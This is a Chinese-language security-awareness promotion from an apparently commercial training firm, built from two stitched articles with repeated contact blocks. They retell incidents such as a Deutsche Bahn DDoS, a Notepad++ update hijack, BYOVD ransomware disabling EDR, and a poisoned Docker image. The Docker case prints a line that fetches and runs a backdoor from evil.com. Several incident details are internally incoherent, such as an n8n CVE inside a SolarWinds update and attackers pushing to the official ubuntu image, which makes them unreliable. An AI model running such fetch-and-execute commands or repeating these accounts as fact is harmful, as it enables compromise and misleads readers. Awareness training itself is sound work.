---

开篇：头脑风暴·想象三幕剧

在信息化高速路上，每一位职工都是驾驶员，也是乘客。若不懂得安全驾驶，哪怕拥有最先进的车（系统）也可能在突如其来的“黑暗隧道”里失控。为帮助大家快速进入安全思维，下面先用头脑风暴的方式，构想三个“典型且深刻”的信息安全事件，让你在脑中先演绎三部警示剧目。

场景	事件概览	触发的安全警示
第一幕	德铁（Deutsche Bahn）遭遇DDoS洪流——数万僵尸主机同时向“DB Navigator”App与官网发起请求，导致车次查询、票务系统暂时失灵。	大规模分布式拒绝服务（DDoS）并非遥远的黑客术语，它能瞬间把关键业务推向“停摆”。
第二幕	意大利奥运前夕的俄国黑客行动——针对体育场馆、票务平台、媒体网络的多点渗透，意图在全球关注的奥运会期间制造信息混乱与经济损失。	“关键基础设施”被当作攻击目标，攻击者往往挑选公众视野最高的时间点冲击，以求最大舆论和经济效应。
第三幕	欧盟决定将华为、ZTE从核心电信网络除名——在“供应链安全”与“国家安全”双重考量下，欧盟统一发布禁令，迫使运营商更换设备、重新规划网络架构。	供应链风险不是技术细节，而是关系国家安全与企业生存的全局问题。任何环节的薄弱都可能成为“后门”。

这三幕剧，分别映射了攻击技术、攻击时机与供应链风险三个维度。随后，我们将逐一拆解真实案例，用细致的分析告诉大家：“危机”背后隐藏的根本漏洞是什么？我们该如何在日常工作中防患于未然？

---

案例一：德铁DDoS攻击——“流量洪水”如何冲垮旅客服务

新闻摘录（2026‑02‑18）
“德铁App与官网在周二下午出现IT困难，随后在周三早晨再次出现问题。公司称攻击为DDoS，防御措施已生效，系统已恢复。”

1. 攻击手法回顾

• DDoS（Distributed Denial of Service）：攻击者利用成千上万被感染的设备（僵尸网络），同步向目标发送海量请求，耗尽服务器带宽、CPU、内存资源，使正常用户的访问请求被“淹没”。
• 攻击规模：据公开数据，此次攻击峰值流量达数百Gbps，足以让欧盟内部的大型云服务平台也出现抖动。

2. 业务冲击

• 旅客查询受阻：无法实时查询列车时刻、余票信息，导致旅客排队、错峰、甚至错过出行。
• 票务系统中断：在线购票、改签、退票功能受限，增加客服热线压力，间接造成经济损失与品牌声誉下降。
• 连锁效应：铁路运输是国家关键基础设施，信息系统的失效可能导致列车调度混乱，进一步波及物流、供应链。

3. 防御与教训

• 防御措施已生效：德铁声明“防御措施发挥作用”，说明在攻击发生前已部署了流量清洗、弹性扩容等技术手段。
• 教训一：多层防御必不可少
  • 网络层：使用Anycast、IP黑洞、流量清洗服务。
  • 应用层：实现速率限制（Rate Limiting）与验证码（CAPTCHA）机制，过滤异常请求。
• 教训二：业务连续性（BC）计划缺口
  • 关键业务应该具备“灰度降级”方案，例如在系统高负载时自动切换至只提供查询而不接受交易的模式，保证最核心功能仍可用。
• 教训三：员工的应急响应意识
  • 一线运维需要在监控告警出现后快速定位、启动预案；客服人员要做好话术准备，及时告知用户正确的应对方式。

---

案例二：意大利奥运前的俄国黑客行动——“高光时刻”下的暗流

新闻摘录（2026‑02‑05）
“意大利在奥运开幕前成功抵御俄国黑客的攻击，保障了赛事信息系统的安全。”

1. 攻击目标与动机

• 目标：赛事票务平台、媒体直播系统、体育场馆的设施控制系统（IoT设备）。
• 动机：
  • 政治诉求：通过破坏或泄露关键数据向国际社会施压。
  • 经济勒索：利用赛事期间的紧迫性，敲诈巨额赎金。
  • 信息战：制造舆论混乱，削弱赛事组织者的公信力。

2. 手段与路径

• 钓鱼邮件：针对赛事组织者内部员工发送伪装成官方通知的邮件，诱导下载植入Backdoor的宏文件。
• 供应链植入：在第三方票务系统的更新包中埋入恶意代码，使其在客户浏览器中执行脚本，窃取信用卡信息。
• IoT设备利用：渗透场馆内部的智能灯光、门禁系统，尝试远程控制或制造“假警报”。

3. 防御经验

• 零信任架构（Zero Trust）：不默认任何内部或外部请求是可信的，所有访问都需进行身份验证与最小权限授权。
• 多因素认证（MFA）：关键系统（如票务后台、媒体发布平台）必须采用短信、软令牌或硬件令牌进行二次验证。
• 安全审计与渗透测试：在赛事倒计时阶段进行红蓝对抗演练，提前发现并修补供应链漏洞。
• 应急演练：制定“奥运级”应急预案，确保在攻击发生后，能够在30分钟内切换至备援系统，最小化对观众与媒体的影响。

4. 对企业的启示

• 关键业务的“时间窗口”敏感度：任何业务在高峰期间（如促销、年度大促、重要会议）都可能成为黑客的首选目标。
• 跨部门协同：IT、运营、法务、市场必须形成合力，共享威胁情报，统一响应。
• 供应链安全：采购的第三方软件、硬件务必进行安全评估，签订安全责任条款。

---

案例三：欧盟禁令—华为、ZTE退出核心网络——“供应链风险”警钟

新闻摘录（2026‑01‑21）
“欧盟委员会正式决定，将华为和中兴通信从核心电信网络中除名，迫使运营商更换设备，提升网络安全水平。”

1. 背景与动因

• 国家安全考量：担忧关键通信基站可能被植入后门，成为情报收集或破坏的跳板。
• 技术自立：欧盟希望通过此举推动本土5G/6G技术生态，降低对单一供应商的依赖。

2. 影响范围

• 运营商：需要在短期内完成设备更换、网络切换、兼容性测试，涉及巨额资本支出与人力资源调配。
• 企业用户：在网络升级期间可能面临带宽波动、服务中断的风险。
• 终端用户：在网络切换期间，移动互联网体验可能出现短暂下降。

3. 风险管理措施

• 供应链审计：对所有关键组件进行“源代码审计”、硬件可信执行环境（TEE）验证。
• 多元化采购：不把所有关键设备集中采购自单一供应商，采用“冗余供应链”策略。
• 持续监控：部署网络流量异常检测系统，实时捕获潜在的后门通信或异常流量。

4. 对企业的信息安全治理启示

• “安全即合规”：合规不应是事后检查，而是贯穿产品研发、采购、运维的全链路治理。
• 风险评估的系统性：从技术、法律、商业三个维度评估供应商，并在合同中加入安全事件的违约惩罚条款。
• 安全文化的沉淀：只有让每一位员工都认识到“供应链风险”不只是IT部门的事，才能形成全员防护的合力。

---

归纳三大安全维度：攻击技术、业务时机、供应链风险

维度	关键要点
技术层	DDoS、钓鱼、后门、供应链植入。防御需多层过滤、流量清洗、零信任、MFA。
业务层	高峰期（票务、促销、重大活动）是攻击的“黄金窗口”。业务连续性计划（BCP）必须事先演练。
供应链层	第三方硬件/软件的安全审计、合同中的安全条款、供应商多元化、持续监控。

---

站在数字化、智能体化、数据化融合的浪潮前

在 数字化、智能体化、数据化 三位一体的时代，企业的每一个业务环节都在云端、边缘、AI模型中交叉。数据 已成为新型资产，智能体（如聊天机器人、自动化流程）已经深入工作流，数字化平台（ERP、MES、CRM）则是企业运营的神经中枢。

然而，“数字化即脆弱”的悖论随之而来：

1. 数据泄露风险：一次误操作或一次供应链漏洞，可能导致上百万条用户信息一次性外泄。
2. AI模型投毒：对机器学习模型注入对抗样本，使系统误判，直接影响业务决策。
3. 边缘设备攻击：IoT传感器、智能摄像头、一线生产设备若被攻破，可能导致生产线停摆、设施破坏，甚至人身安全事故。

因此，信息安全已经不再是IT部门的单点职责，而是企业全员的共同使命。我们必须把安全理念嵌入业务流程、产品设计、数据治理、供应链管理的每一个环节。

---

呼吁：加入即将开启的信息安全意识培训

为帮助全体职工在这场数字化变革中稳健前行，公司将于本月启动《信息安全意识提升计划》。培训内容涵盖：

• 基础篇：密码管理、钓鱼邮件识别、移动设备安全。
• 进阶篇：云安全概念、零信任模型、数据脱敏与加密。
• 实战篇：案例复盘（包括上文三大案例），红蓝对抗演练，现场渗透测试演示。
• 专项篇：AI模型安全、IoT设备防护、供应链风险管理。

培训模式

• 线上自学+线下研讨：每位员工先完成5小时的线上微课，随后参加部门内部的情境模拟工作坊。
• 情景演练：通过“演练室”模拟DDoS、钓鱼、供应链渗透等真实情境，提升快速发现与响应能力。
• 知识竞赛：培训结束后进行“安全达人”竞赛，设立丰厚奖励，激励大家主动学习。

参与收益

1. 提升个人竞争力：信息安全已成为职场的“硬通货”，掌握核心技能将显著提升职业价值。
2. 降低组织风险：每一次成功的防御，都相当于为公司省下一笔巨额的事故成本。
3. 构建安全文化：当每个人都成为“第一道防线”，组织的安全防护将形成纵深、立体的防线。

古语有云：“防微杜渐，未雨绸缪”。 在信息安全的世界里，今天的细微防护，正是明日的大局保障。让我们以案例为镜，以培训为钥，开启安全觉醒的旅程。

---

结语：共筑数智时代的安全长城

从 德铁的流量洪水、意大利奥运的黑客风暴，到 欧盟的供应链禁令，每一次危机都在提醒我们：技术的进步、业务的扩张、供应链的全球化，都在同步放大安全风险。如果我们仍然把安全当成“事后补救”，那么必将在下一次冲击中付出更沉重的代价。

现在正是 “以案促学、以学促改” 的最佳时机。请全体职工踊跃参与信息安全意识培训，用知识武装自己的思维，用行动守护企业的数字资产。让我们在数字化浪潮中，既乘风破浪，又稳坐航舵，确保每一列数据列车安全准时抵达目的地。

信息安全，人人有责；安全意识，终身受用。

信息安全意识培训，期待与你共同成长！

昆明亭长朗然科技有限公司的服务范围涵盖数据保护、风险评估及安全策略实施等领域。通过高效的工具和流程，我们帮助客户识别潜在威胁并加以有效管理。欢迎您的关注，并与我们探讨合作机会。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898

头脑风暴：在信息安全的浩瀚星空里，每一次流星划过都可能留下永恒的教训。
想象力加持：如果把“更新”、 “插件”、 “云平台”、 “AI模型”比作四位看不见的“潜行者”，当它们携带恶意负载悄然潜入企业内部时，会掀起怎样的风暴？下面，我将用四个真实且警示性极强的案例，拆解每一次“潜行”背后的技术细节与防御失误，帮助大家在日常工作中树立“先防后补、全链路防护”的安全思维。

---

案例一：Notepad++ 更新机制被劫持（供应链攻击）

背景
2025 年 6 月，全球最流行的轻量级编辑器 Notepad++ 的官方更新服务器被攻击者入侵。攻击者在特定时间段对部分用户的更新请求进行 DNS 劫持，将合法的更新 URL 重定向至恶意服务器，返回伪造的安装包。该伪装包嵌入名为 Chrysalis 的后门，能够在受害机器上以系统权限运行，进而窃取本地文件、键盘记录、甚至打开逆向 Shell。

技术细节
1. 攻击入口：攻击者利用托管服务商的配置失误，植入了恶意 DNS 记录，实现对 update.notepad-plus-plus.org 的劫持。
2. 恶意载体：伪造的安装包在签名上采用了自签名证书，但由于 Notepad++ 早期版本仅校验了 可执行文件 的签名，而未对 XML 更新清单 进行二次校验，导致用户在安装时毫无疑惑。
3. 后门行为：Chrysalis 在首次启动时会检测网络环境，如果发现目标机器在企业内部网段，则下载更高级的模块；在普通家庭环境下则保持静默状态，以免引起安全厂商的注意。

防御失误
– 缺乏双向验证：仅校验下载的安装文件，而未对更新清单进行签名校验。
– DLL 侧加载风险：旧版 WinGUp 依赖 libcurl.dll，攻击者可通过放置同名恶意 DLL 实现代码注入。
– 插件签名不一致：插件加载未限制为同证书签名的二进制，导致恶意插件可被随意执行。

改进措施（官方给出的修复）
– 实现“双锁”机制：对 安装包 与 XML 更新清单 均进行签名校验。
– 移除 libcurl.dll，剔除不安全的 SSL 选项（CURLSSLOPT_ALLOW_BEAST、CURLSSLOPT_NO_REVOKE）。
– 限制插件执行必须使用与 WinGUp 相同的证书签名。
– 修复 CVE‑2026‑25926（安全搜索路径漏洞），防止在非绝对路径下启动 Windows Explorer 被劫持。

教训
– 更新安全不是“点对点”，必须在传输链路、签名校验、执行环境每一步都加固。
– 供应链的每一个环节都是潜在的攻击面，企业应对关键开源工具进行持续监测与风险评估。

---

案例二：SolarWinds Web Help Desk 被植入 RCE 木马（多阶段供应链攻击）

背景
2025 年底，SolarWinds 的 Web Help Desk（WHD）产品在全球大型企业中被广泛部署，用于内部 IT 服务请求管理。攻击者在 WHD 的软件更新包中植入了 CVE‑2026‑25049（n8n 工作流系统的系统命令执行漏洞）利用代码，形成多阶段攻击链：先利用 WHD 的 RCE 漏洞获取服务器内部权限，随后通过自动化工作流触发任意系统命令，实现横向移动。

技术细节
1. 植入手法：攻击者在编译阶段注入恶意模块，利用 GitHub Actions 的不安全环境变量泄露，获取了构建服务器的签名密钥。
2. 触发路径：通过特制的 HTTP POST 请求，向 WHD 的工作流 API 注入恶意 JSON，触发 exec 步骤执行 powershell -EncodedCommand …，实现远程代码执行。
3. 后期横移：利用泄露的 AD 凭据，攻击者进一步渗透至内部域控制器，获取更高特权。

防御失误
– CI/CD 环境缺乏隔离：构建服务器与生产环境共享同一套签名密钥，导致密钥泄露后全链路失守。
– 工作流系统默认允许运行系统命令：未对 exec 步骤进行白名单或审计。
– 补丁发布滞后：CVE‑2026‑25049 在公开后 3 个月才收到官方修复，期间攻击者已完成大规模渗透。

改进措施
– CI/CD 环境实现 最小权限原则（Least Privilege），使用硬件安全模块（HSM）存储签名密钥并限制访问。
– 对工作流平台进行 命令执行白名单，并开启 审计日志，异常行为自动阻断。
– 建立 漏洞情报共享平台，在漏洞公开后 24 小时内部即完成应急响应与补丁部署。

教训
– 自动化平台本身亦是攻击载体，对内部脚本、工作流的安全审计不可或缺。
– 供应链安全是一个协同游戏，第三方厂商、内部开发、运维部门必须形成统一防御链。

---

案例三：Reynolds 勒索软件植入 BYOVD 驱动，直接禁用 EDR（内核层渗透）

背景
2026 年 1 月，安全团队发现 Reynolds 勒索软件已演化出利用 “自带驱动”（BYOVD, Bring Your Own Driver） 的新手段。它通过加载自制的 Windows 内核驱动，直接关闭受害机器上的 EDR（Endpoint Detection and Response）进程，并在系统启动时自动运行加密程序。

技术细节
1. 驱动获取：攻击者在公开的 GitHub 项目中寻找未签名的开源驱动源码，略作修改后编译为 C:\Windows\System32\drivers\reynolds.sys。
2. 加载手段：利用已泄露的系统账户凭据，通过 sc create 命令创建并启动该驱动，绕过用户模式的安全检测。
3. 禁用 EDR：驱动直接调用内核 API，修改 Filter Manager 链，阻断 EDR 的 Hook 点，使其失去对文件系统、网络流量的监控能力。随后勒索软件在用户模式恢复执行，完成加密。

防御失误
– 驱动签名检测宽松：系统默认接受未签名驱动的加载，尤其在调试模式下。
– 最小化权限管理缺失：普通账户拥有创建/启动服务的权限，导致攻击者可以随意植入恶意驱动。
– EDR 只关注用户态：对内核层的监控与防护不足，导致驱动加载后立即失效。

改进措施
– 开启 驱动强制签名（Secure Boot + Code Integrity），禁止未签名驱动加载。
– 对 服务创建/修改 实施细粒度访问控制，仅管理员可操作。
– EDR 供应商在产品中加入 内核层行为监控，检测异常的 Filter Manager 链操作并即时阻断。
– 采用 零信任网络访问（ZTNA）和 硬件根信任（TPM）构建多层防线。

教训
– 内核层是最坚固也是最薄弱的防线，一旦突破，几乎所有用户态防护失效。
– 最小权限原则在系统级别同样适用，不应轻易赋予普通用户 “创建服务” 的特权。

---

案例四：AI 生成的 Docker 镜像元数据泄露（元数据攻击与供应链污染）

背景
2026 年 2 月，一个名为 “Ask Gordon” 的 AI 代码生成平台在帮助开发者快速生成 Dockerfile 时，意外泄露了内部模型的 API 密钥 与 训练数据标识。攻击者抓取这些元数据后，利用 AI 生成的恶意指令向 Docker 镜像注入 后门二进制，并将污染后的镜像发布至公开的 Docker Hub，导致数千家企业的 CI/CD 流水线在拉取镜像时被植入后门。

技术细节
1. 元数据泄露：AI 平台在响应中返回了 JSON 中的 metadata.api_key 字段，暴露了内部服务的访问凭证。
2. 镜像污染路径：攻击者使用泄露的 API 生成恶意 Dockerfile，加入 RUN curl -s http://evil.com/backdoor | sh，构建后将镜像推送至 library/ubuntu:latest（假冒官方镜像）。
3. 影响范围：许多企业在自动化部署脚本中直接使用 FROM ubuntu:latest，导致恶意代码在容器启动时执行，获取容器内部的凭证并向外部 C2 服务器回报。

防御失误
– 缺乏镜像签名与验证：企业未对拉取的镜像执行 Docker Content Trust（DCT）或 Notary 签名校验。
– CI/CD 中未设定白名单：使用 “latest” 标签导致自动拉取最新镜像，缺少可信镜像库限制。
– 对 AI 生成代码缺乏安全审计：直接信任 AI 提供的 Dockerfile，未进行安全代码审查。

改进措施
– 实施 镜像签名机制，所有使用的镜像必须通过 Notary v2 验证。
– 在 CI/CD 中使用 固定标签（如 ubuntu:22.04.1）并配合 镜像白名单。
– 对 AI 生成的代码引入 安全审计插件（如 Semgrep、Checkov），自动检测潜在的 curl|bash 类风险指令。
– 对外部 API 密钥采用 最小化作用域（scope）并实行 轮换策略，避免长时间暴露。

教训
– AI 与自动化的双刃剑：它们极大提升效率的同时，也可能成为攻击者快速生成恶意代码的利器。
– 元数据安全同样重要，任何隐藏的凭证都可能被放大为供应链攻击的入口。

---

透视当下：无人化、数据化、数字化的融合环境

1. 无人化：机器人流程自动化（RPA）和无人值守的 DevOps 流水线正在取代传统手工操作。虽然降低了人力错误，但也让 攻击面 扩展至 脚本、机器人账户、API 密钥。一旦机器人账号被窃取，攻击者可以在毫秒级完成横向渗透。
2. 数据化：企业数据正从本地化向云端、数据湖、实时流平台迁移。数据的 可访问性 与 共享性 提升的同时，也带来了 数据泄露 与 误授权 的风险。GDPR、PDPA 等合规要求对 数据标记 与 访问审计 提出了更高标准。
3. 数字化：数字孪生、远程办公、全景协作平台等已成为业务新常态。每一次 “数字化触点” 都是潜在的 攻击向量。例如，远程桌面协议（RDP）未加多因素验证，就可能被攻击者直接劫持；协作平台的第三方插件若未经过安全审计，同样会成为后门。

在上述三大趋势交织的背景下，零信任（Zero Trust）理念不再是口号，而是 全链路防护的必由之路：

• 身份即验证：每一次系统交互都必须经过多因素身份验证（MFA）和动态风险评估。
• 最小权限：机器人账号、服务账号、开发者账号均只授予完成任务所必须的最小权限。
• 持续监控：对网络流量、系统调用、容器行为进行实时威胁检测，异常即警报即响应。
• 数据加密与标签：对关键数据进行端到端加密，并使用数据标签（Data Tagging）实现细粒度访问控制。

---

号召：加入信息安全意识培训，成为企业防线的 “人肉防火墙”

为什么每一位职工都是不可或缺的安全要素？

1. 人是最灵活的检测器：机器可以监控日志、检测异常行为，但 社交工程、钓鱼邮件 等仍然首先落在人的感知层面。
2. 安全文化是防护的粘合剂：当每一位同事都把安全视为工作的一部分，安全策略才能真正落地。
3. 技术与流程的闭环需要后端的“人审”：AI 生成的代码、自动化脚本、第三方插件，都需要经过 人工复审，才能确保不引入隐蔽风险。

培训计划概览

日期	主题	目标	互动环节
2 月 25 日	供应链安全与签名验证	掌握软件更新、容器镜像的完整性校验	实战演练：使用 Notary 对 Docker 镜像签名
3 月 5 日	零信任访问控制	理解最小权限、动态风险评估	案例讨论：如何在 RPA 账户上实现最小化授权
3 月 12 日	内核层防护与驱动签名	学会识别和阻断恶意驱动	实验室：部署 Secure Boot 与 Code Integrity
3 月 19 日	社交工程与钓鱼邮件辨识	提升对钓鱼邮件的识别能力	Phish Sim 演练：现场辨识真实钓鱼邮件
3 月 26 日	AI 与自动化代码安全审计	使用工具审计 AI 生成的脚本	实战演练：使用 Semgrep 检测 Dockerfile 隐患

“千里之堤，毁于蚁穴。”——《左传》
在信息安全的长河里，每一次细小的疏忽都可能酿成灾难。本次培训旨在帮助大家从宏观的零信任框架，到微观的每一行代码、每一次点击，都建立起系统化的防护思维。

如何参与？

• 报名渠道：公司内部门户 → “安全与合规” → “信息安全意识培训”。
• 学习资源：培训前将推送《企业级供应链安全手册》《零信任实施指南》PDF，培训后提供 线上复盘视频 与 实战实验环境。
• 激励机制：完成全部五场培训并通过考核的同事，将获得 “信息安全先锋” 电子徽章，计入年度绩效加分；并有抽奖机会赢取最新 硬件安全模块（HSM） 体验版。

一句话点题：安全不是某个人的事，而是每个人的日常。让我们一起把“安全意识”从口号变成行动，把“防御链”从技术层面延伸到每一位同事的血脉。

---

结语：共同筑起“数字防线”，让企业在无人化的浪潮中稳步前行

从 Notepad++ 的更新劫持，到 SolarWinds 的多阶段渗透；从 Reynolds 勒索软件的内核驱动，到 AI 生成镜像 的元数据泄露，这四大案例像四面镜子，映射出供应链、自动化、内核层与 AI 时代的共同安全痛点。它们提醒我们：

1. 安全要从根源抓起——无论是代码签名、CI/CD 环境隔离，还是硬件根信任，都必须落到实处。
2. 防御是全链路的协同——技术、流程、人员三位一体，缺一不可。
3. 持续学习是唯一的防线——信息安全是动态的博弈，只有保持学习、保持警觉，才能在攻击者的“进阶”中保持优势。

在 无人化、数据化、数字化 深度融合的今天，零信任、最小权限、持续监控 已经不再是抽象的概念，而是我们实现 “安全即生产力” 的必要手段。希望每一位同事都能以主动防御、协同共进的姿态，投身即将开启的信息安全意识培训，用自己的知识、技能与警觉，筑起企业最坚固的 数字防线。

让我们在这场信息安全的“头脑风暴”中，持续迸发灵感、不断提升防护能力，迎接更加安全、更加智能的数字化未来！

我们提供全面的信息安全保密与合规意识服务，以揭示潜在的法律和业务安全风险点。昆明亭长朗然科技有限公司愿意与您共同构建更加安全稳健的企业运营环境，请随时联系我们探讨合作机会。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898